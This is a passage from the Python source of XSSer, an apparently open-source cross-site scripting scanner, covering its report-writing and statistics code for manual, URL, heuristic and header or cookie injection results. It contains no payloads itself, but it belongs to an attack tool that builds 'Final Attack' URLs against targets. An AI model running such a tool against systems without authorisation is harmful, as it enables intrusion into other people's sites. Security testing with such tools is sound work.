  3306. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3307. else:
  3308. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3309. fout.write("="*75 + "\n\n")
  3310. elif line[1] == "[manual_injection]":
  3311. self.manual_found = self.manual_found + 1
  3312. if len(self.hash_found) < 11:
  3313. if line[4]: # when query string
  3314. self.report("[+] Target:", line[6] + " | " + line[4])
  3315. else:
  3316. self.report("[+] Target:", line[6])
  3317. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3318. self.report("[!] Method: MANUAL")
  3319. self.report("[*] Hash:", line[3])
  3320. self.report("[*] Payload:", line[0])
  3321. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3322. self.report("[*] Final Attack:", attack_url)
  3323. if self.token_arrived_flag == True:
  3324. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3325. else:
  3326. if self.options.reversecheck:
  3327. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3328. else:
  3329. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3330. if self.options.fileoutput:
  3331. fout.write("="*75)
  3332. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3333. fout.write("="*75 + "\n\n")
  3334. for line in self.hash_found:
  3335. if line[4]:
  3336. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3337. if self.token_arrived_flag == True:
  3338. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3339. else:
  3340. if self.options.reversecheck:
  3341. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3342. else:
  3343. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3344. else:
  3345. if self.token_arrived_flag == True:
  3346. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3347. else:
  3348. if self.options.reversecheck:
  3349. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3350. else:
  3351. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3352. else:
  3353. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3354. if self.token_arrived_flag == True:
  3355. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3356. else:
  3357. if self.options.reversecheck:
  3358. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3359. else:
  3360. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3361. else:
  3362. if self.token_arrived_flag == True:
  3363. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3364. else:
  3365. if self.options.reversecheck:
  3366. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3367. else:
  3368. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3369. fout.write("="*75 + "\n\n")
  3370. elif line[1] == "[Heuristic test]":
  3371. if len(self.hash_found) < 11:
  3372. if line[4]:
  3373. self.report("[+] Target:", line[6] + " | " + line[4])
  3374. else:
  3375. self.report("[+] Target:", line[6])
  3376. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3377. self.report("[!] Method:", line[2])
  3378. self.report("[*] Payload:", line[5])
  3379. self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
  3380. if self.options.fileoutput:
  3381. fout.write("="*75)
  3382. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3383. fout.write("="*75 + "\n\n")
  3384. for line in self.hash_found:
  3385. if line[4]:
  3386. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3387. else:
  3388. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3389. fout.write("="*75 + "\n\n")
  3390. else:
  3391. self.auto_found = self.auto_found + 1
  3392. if len(self.hash_found) < 11:
  3393. if line[4]: # when query string
  3394. self.report("[+] Target:", line[6] + " | " + line[4])
  3395. else:
  3396. self.report("[+] Target:", line[6])
  3397. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3398. self.report("[!] Method: URL")
  3399. self.report("[*] Hash:", line[3])
  3400. self.report("[*] Payload:", line[0])
  3401. self.report("[!] Vulnerable:", line[1])
  3402. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3403. self.report("[*] Final Attack:", attack_url)
  3404. if self.token_arrived_flag == True:
  3405. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3406. else:
  3407. if self.options.reversecheck:
  3408. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3409. else:
  3410. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3411. if self.options.fileoutput:
  3412. fout.write("="*75)
  3413. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3414. fout.write("="*75 + "\n\n")
  3415. for line in self.hash_found:
  3416. if line[4]:
  3417. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3418. if self.token_arrived_flag == True:
  3419. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3420. else:
  3421. if self.options.reversecheck:
  3422. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3423. else:
  3424. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3425. else:
  3426. if self.token_arrived_flag == True:
  3427. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3428. else:
  3429. if self.options.reversecheck:
  3430. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3431. else:
  3432. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3433. else:
  3434. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3435. if self.token_arrived_flag == True:
  3436. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3437. else:
  3438. if self.options.reversecheck:
  3439. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3440. else:
  3441. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3442. else:
  3443. if self.token_arrived_flag == True:
  3444. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3445. else:
  3446. if self.options.reversecheck:
  3447. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3448. else:
  3449. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3450. fout.write("="*75 + "\n\n")
  3451. if self.options.fileoutput:
  3452. fout.close()
  3453. if self.options.fileoutput and not self.options.filexml:
  3454. self.report("[Info] Generating report: [ XSSreport.raw ]\n")
  3455. self.report("-"*25+"\n")
  3456. if self.options.fileoutput and self.options.filexml:
  3457. self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
  3458. self.report("-"*25+"\n")
  3459. if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
  3460. if not self.options.filexml:
  3461. self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
  3462. self.report("-"*25+"\n")
  3463. fout = open("XSSreport.raw", "w") # write better than append
  3464. fout.write("="*75)
  3465. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3466. fout.write("="*75 + "\n\n")
  3467. for line in self.hash_found:
  3468. if line[4]:
  3469. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3470. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3471. else:
  3472. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3473. else:
  3474. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3475. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3476. else:
  3477. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3478. fout.write("="*75 + "\n\n")
  3479. fout.close()
  3480. else:
  3481. self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
  3482. self.report("-"*25+"\n")
  3483. # heuristic always with statistics
  3484. if self.options.heuristic:
  3485. heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  3486. heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  3487. heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
  3488. heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
  3489. heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  3490. heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  3491. heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
  3492. heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
  3493. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  3494. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  3495. total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
  3496. if total_heuris_notfound > 0: # not shown when not found
  3497. self.options.statistics = True
  3498. # some statistics reports
  3499. if self.options.statistics:
  3500. # heuristic test results
  3501. if self.options.heuristic:
  3502. self.report("\n"+'='*75)
  3503. self.report("[+] Heuristics:")
  3504. self.report('='*75)
  3505. test_time = datetime.datetime.now() - self.time
  3506. self.report("\n" + '-'*50)
  3507. self.report("Test Time Duration: ", test_time)
  3508. self.report('-'*50 )
  3509. total_connections = total_heuris_found + total_heuris_notfound
  3510. self.report("Total fuzzed:", total_connections)
  3511. self.report('-'*75)
  3512. self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
  3513. # semicolon results
  3514. self.report('; ', " ", self.heuris_semicolon_notfound, " ",
  3515. heuris_semicolon_total_found, " ",
  3516. self.heuris_semicolon_found, " ",
  3517. self.heuris_une_semicolon_found, " ",
  3518. self.heuris_dec_semicolon_found)
  3519. # backslash results
  3520. self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
  3521. heuris_backslash_total_found, " ",
  3522. self.heuris_backslash_found, " ",
  3523. self.heuris_une_backslash_found, " ",
  3524. self.heuris_dec_backslash_found)
  3525. # slash results
  3526. self.report("/ ", " ", self.heuris_slash_notfound, " ",
  3527. heuris_slash_total_found, " ",
  3528. self.heuris_slash_found, " ",
  3529. self.heuris_une_slash_found, " ",
  3530. self.heuris_dec_slash_found)
  3531. # minor results
  3532. self.report("< ", " ", self.heuris_minor_notfound, " ",
  3533. heuris_minor_total_found, " ",
  3534. self.heuris_minor_found, " ",
  3535. self.heuris_une_minor_found, " ",
  3536. self.heuris_dec_minor_found)
  3537. # mayor results
  3538. self.report("> ", " ", self.heuris_mayor_notfound, " ",
  3539. heuris_mayor_total_found, " ",
  3540. self.heuris_mayor_found, " ",
  3541. self.heuris_une_mayor_found, " ",
  3542. self.heuris_dec_mayor_found)
  3543. # doublecolon results
  3544. self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
  3545. heuris_doublecolon_total_found, " ",
  3546. self.heuris_doublecolon_found, " ",
  3547. self.heuris_une_doublecolon_found, " ",
  3548. self.heuris_dec_doublecolon_found)
  3549. # colon results
  3550. self.report("' ", " ", self.heuris_colon_notfound, " ",
  3551. heuris_colon_total_found, " ",
  3552. self.heuris_colon_found, " ",
  3553. self.heuris_une_colon_found, " ",
  3554. self.heuris_dec_colon_found)
  3555. # equal results
  3556. self.report("= ", " ", self.heuris_equal_notfound, " ",
  3557. heuris_equal_total_found, " ",
  3558. self.heuris_equal_found, " ",
  3559. self.heuris_une_equal_found, " ",
  3560. self.heuris_dec_equal_found)
  3561. self.report('-'*75)
  3562. try:
  3563. _accur = total_heuris_found * 100 / total_heuris_params
  3564. except ZeroDivisionError:
  3565. _accur = 0
  3566. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  3567. self.report('-'*75)
  3568. # statistics block
  3569. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3570. pass
  3571. if self.options.heuristic:
  3572. pass
  3573. else:
  3574. self.report('='*75)
  3575. self.report("[+] Statistics:")
  3576. self.report('='*75)
  3577. test_time = datetime.datetime.now() - self.time
  3578. self.report("\n" + '-'*50)
  3579. self.report("Test Time Duration: ", test_time)
  3580. self.report('-'*50 )
  3581. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  3582. self.report("Total Connections:", total_connections)
  3583. self.report('-'*25)
  3584. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  3585. self.not_connection , "|" , "503:" ,
  3586. self.forwarded_connection , "|" , "Others:",
  3587. self.other_connection)
  3588. try:
  3589. _accur = self.success_connection * 100 / total_connections
  3590. except ZeroDivisionError:
  3591. _accur = 0
  3592. self.report("Connec: %s %%" % _accur)
  3593. self.report('-'*50)
  3594. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  3595. self.report("Total Payloads:", total_payloads)
  3596. self.report('-'*25)
  3597. self.report("Checker:", self.check_positives, "|", "Manual:",
  3598. self.manual_injection, "|" , "Auto:" ,
  3599. self.auto_injection ,"|", "DCP:",
  3600. self.dcp_injection, "|", "DOM:", self.dom_injection,
  3601. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  3602. self.xsr_injection, "|", "XSA:",
  3603. self.xsa_injection , "|", "COO:",
  3604. self.coo_injection)
  3605. self.report('-'*50)
  3606. self.report("Total Injections:" ,
  3607. len(self.hash_notfound) + len(self.hash_found))
  3608. self.report('-'*25)
  3609. self.report("Failed:" , len(self.hash_notfound), "|",
  3610. "Successful:" , len(self.hash_found))
  3611. try:
  3612. _accur = len(self.hash_found) * 100 / total_injections
  3613. except ZeroDivisionError:
  3614. _accur = 0
  3615. self.report("Accur : %s %%" % _accur)
  3616. self.report("\n" + '='*50)
  3617. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  3618. self.report("\n" + '-'*50)
  3619. self.report("Total XSS Discovered:", total_discovered)
  3620. self.report('-'*50)
  3621. self.report("Checker:", self.false_positives, "|",
  3622. "Manual:",self.manual_found, "|", "Auto:",
  3623. self.auto_found, "|", "DCP:", self.dcp_found,
  3624. "|", "DOM:", self.dom_found, "|", "Induced:",
  3625. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  3626. "|", "XSA:", self.xsa_found, "|", "COO:",
  3627. self.coo_found)
  3628. self.report('-'*50)
  3629. self.report("False positives:", self.false_positives, "|",
  3630. "Vulnerables:",
  3631. total_discovered - self.false_positives)
  3632. self.report('-'*25)
  3633. # efficiency ranking:
  3634. # algor= vulnerables + false positives - failed * extras
  3635. mana = 0
  3636. h_found = 0
  3637. for h in self.hash_found:
  3638. h_found = h_found + 1
  3639. if h_found > 3:
  3640. mana = mana + 4500
  3641. if h_found == 1:
  3642. mana = mana + 500
  3643. if self.options.reversecheck:
  3644. mana = mana + 200
  3645. if total_payloads > 100:
  3646. mana = mana + 150
  3647. if not self.options.xsser_gtk:
  3648. mana = mana + 25
  3649. if self.options.discode:
  3650. mana = mana + 100
  3651. if self.options.proxy:
  3652. mana = mana + 100
  3653. if self.options.threads > 9:
  3654. mana = mana + 100
  3655. if self.options.heuristic:
  3656. mana = mana + 100
  3657. if self.options.finalpayload or self.options.finalremote:
  3658. mana = mana + 100
  3659. if self.options.script:
  3660. mana = mana + 100
  3661. if self.options.Cem or self.options.Doo:
  3662. mana = mana + 75
  3663. if self.options.heuristic:
  3664. mana = mana + 50
  3665. if self.options.script and not self.options.fuzz:
  3666. mana = mana + 25
  3667. if self.options.followred and self.options.fli:
  3668. mana = mana + 25
  3669. if self.options.wizard:
  3670. mana = mana + 25
  3671. if self.options.dcp:
  3672. mana = mana + 25
  3673. if self.options.hash:
  3674. mana = mana + 10
  3675. mana = (len(self.hash_found) * mana) + mana
  3676. # enjoy it :)
  3677. self.report("Mana:", mana)
  3678. self.report("")
  3679. c = Curl()
  3680. if not len(self.hash_found) and self.hash_notfound:
  3681. if self.options.hash:
  3682. if self.options.statistics:
  3683. self.report('='*75 + '\n')
  3684. self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
  3685. else:
  3686. if self.options.target or self.options.heuristic:
  3687. self.report("")
  3688. if self.options.heuristic:
  3689. pass
  3690. else:
  3691. if self.options.statistics:
  3692. self.report('='*75 + '\n')
  3693. if self.options.fileoutput:
  3694. fout = open("XSSreport.raw", "w") # write better than append
  3695. fout.write("="*75)
  3696. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3697. fout.write("="*75 + "\n\n")
  3698. for h in self.hash_notfound:
  3699. if h[2] == 'heuristic':
  3700. if not h[4]:
  3701. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3702. else:
  3703. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3704. elif h[2] == 'hashing check':
  3705. if not h[4]:
  3706. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3707. else:
  3708. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3709. else:
  3710. if h[4]:
  3711. if h[2] == "XSA":
  3712. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3713. elif h[2] == "XSR":
  3714. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3715. elif h[2] == "COO":
  3716. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3717. else:
  3718. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3719. else:
  3720. if h[2] == "XSA":
  3721. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3722. elif h[2] == "XSR":
